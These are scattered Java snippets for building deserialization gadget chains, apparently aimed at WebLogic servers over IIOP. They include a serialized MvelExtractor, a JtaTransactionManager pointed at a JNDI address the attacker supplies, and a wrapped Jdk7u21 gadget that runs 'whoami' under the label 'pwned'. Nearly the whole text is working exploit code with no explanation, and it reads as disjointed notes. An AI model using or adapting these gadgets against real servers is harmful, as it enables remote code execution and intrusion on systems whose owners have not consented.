MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
		ObjectOutputStream oo = new ObjectOutputStream(System.out); 
		oo.writeObject(o);
		oo.flush();

public MsgOutput getObject(final String command) throws Exception {
	  String jndiAddress = command;
		JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
		jtaTransactionManager.setUserTransactionName(jndiAddress);
		MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
    return remote;
  }

public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
    return ior;
  }

weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl